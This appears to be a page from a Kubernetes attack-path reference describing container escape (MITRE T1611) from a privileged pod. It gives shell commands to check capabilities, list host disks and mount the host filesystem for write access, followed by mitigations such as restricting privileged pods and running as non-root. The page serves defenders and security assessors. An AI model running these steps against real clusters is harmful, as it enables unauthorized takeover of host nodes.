Skip to content


Source Destination MITRE
Container Node Escape to Host, T1611

Mount the host disk and gain access to the host via arbitrary filesystem write


A container running with privileged: true disables almost all the container isolation mechanisms. As such an attacker can trivially gain access to the host's resources, including the disk, to escape the container. In this attack, we simply list the disks on the host machine, mount them into the container and exploit a privileged file write to gain execution on the host.


Execution within a privileged container process.

See the example pod spec.


From within a running container, determine whether it is running with as privileged by examining capabilities:

# Check the current process' capabilities
cat /proc/self/status | grep CapEff
# CapEff: 000001ffffffffff

# Decode the capabilities (on current box or offline) and check for CAP_SYS_ADMIN
# NOTE: can install capsh via apt-get update && apt-get install libcap2-bin
capsh --decode=000001ffffffffff | grep cap_sys_admin

Check that the host disks are visible to our container process:

apt update && apt install fdisk
fdisk -l 
# -> /dev/vda1


Mount the disks into the container

mkdir -p /mnt/hostfs
mount /dev/vda1 /mnt/hostfs
ls -lah /mnt/hostfs/

With the disk now writeable from the container, follow the steps in EXPLOIT_HOST_WRITE.



Implement security policies

Use a pod security policy or admission controller to prevent or limit the creation of pods with privileged enabled.

Least Privilege

Avoid running containers as the root user. Enforce running as an unprivileged user account using the runAsNonRoot setting inside securityContext (or explicitly setting runAsUser to an unprivileged user). Additionally, ensure that allowPrivilegeEscalation: false is set in securityContext to prevent a container running as an unprivileged user from being able to escalate to running as the root user.